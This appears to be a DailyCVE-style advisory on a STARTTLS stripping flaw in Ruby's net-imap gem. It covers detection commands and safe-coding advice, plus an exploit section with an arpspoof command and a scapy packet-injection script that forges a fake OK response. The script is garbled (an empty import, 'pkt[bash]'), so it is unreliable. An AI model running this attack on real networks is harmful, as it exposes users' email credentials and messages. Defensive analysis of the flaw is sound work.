(Ruby Net::IMAP), STARTTLS Stripping Bypass, (No CVE disclosed)

Listen to this Post

How the CVE works:

The vulnerability exists in Net::IMAPstarttls method used to upgrade plaintext IMAP connections to TLS.
A man-in-the-middle attacker intercepts the STARTTLS command sent by the client.
Before the client finishes sending the full command, the attacker injects a crafted “tagged OK” response.
The injected response uses an easily predictable tag, typically “OK” or a sequential number.
Because the response arrives early, the client’s command completes “successfully” without waiting for the proper TLS handshake.
The response handler that would normally establish TLS is not yet registered at this point.
Thus, starttls returns true (or nil) without raising any error.

The underlying socket remains completely unencrypted.

The client believes TLS is active, but all subsequent data is sent in cleartext.
This is a classic STARTTLS stripping attack, similar to attacks on SMTP and IMAP.
The attacker can now read, modify, or inject IMAP commands and responses.
Authentication credentials, emails, and other sensitive data are exposed.

The vulnerability bypasses the TLS negotiation step entirely.

Only clients that explicitly check Net::IMAPtls_verified? after starttls are safe.
If the check is missing, the connection appears valid but is plaintext.
The attack requires the attacker to be positioned between client and server (e.g., rogue Wi-Fi).
No cryptographic breaking is needed; it’s a race-condition and timing flaw in the response handling.
The issue affects all versions of net-imap gem before the patch that raises an exception when TLS fails to start.
It demonstrates that implicit TLS (dedicated port, e.g., IMAPS) is more secure than STARTTLS.

dailycve form:

Platform: Ruby net-imap
Version: Not specified
Vulnerability: STARTTLS stripping
Severity: High
Date: Not given

Prediction: Patch unknown

What Undercode Say:

Analytics:

Check if net-imap gem is vulnerable (example for Ruby)
gem list net-imap
Test STARTTLS behavior using openssl s_client
openssl s_client -starttls imap -connect example.com:143
Ruby one-liner to detect missing tls_verified? check
ruby -rnet/imap -e 'imap = Net::IMAP.new("example.com", 143); imap.starttls; puts imap.tls_verified? ? "safe" : "vulnerable"'
Monitor plaintext IMAP traffic after attack
tcpdump -i eth0 -A -s 0 port 143
Vulnerable code pattern (no verification)
imap = Net::IMAP.new('mail.example.com', 143)
imap.starttls returns true even under attack
imap.login('user', 'pass') credentials go cleartext
Safe code pattern
imap.starttls
raise "No TLS" unless imap.tls_verified?

Exploit:

Attacker ARP spoofs client and server
arpspoof -t client_ip -r server_ip
Intercept and modify STARTTLS handshake
Using mitmproxy or custom Python script:
- Wait for client's "A000 STARTTLS" command
- Immediately inject "A000 OK completed" before server responds
- Drop any server's actual TLS negotiation packets
- Relay all future traffic as plaintext
Simple injection script (scapy)
from scapy.all import
def inject_starttls(pkt):
if b'STARTTLS' in pkt[bash].load:
fake_ok = b'A000 OK completed\r\n'
send(IP(dst=pkt[bash].src)/TCP(sport=pkt[bash].dport, dport=pkt[bash].sport, flags='A', seq=pkt[bash].ack, ack=pkt[bash].seq+len(pkt[bash]), load=fake_ok))

Protection from this CVE:

  • Upgrade net-imap gem to patched version (raises exception on TLS failure)
  • Use implicit TLS (port 993) instead of STARTTLS (port 143)
  • Always verify `Net::IMAPtls_verified?` after `starttls`
    – Enforce TLS certificate validation with `ssl_context` options
  • Monitor for unexpected `OK` responses before TLS handshake
  • Deploy network-level STARTTLS detection and alerting

Impact:

TLS bypass leading to complete cleartext transmission of IMAP traffic. Attacker captures credentials (login/pass), emails, attachments, and all folder operations. Session hijacking possible. No confidentiality or integrity protection. Compliance violations (GDPR, HIPAA). Permanent data leak risk.

🎯Let’s Practice Exploiting & Learn Patching For Free:

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top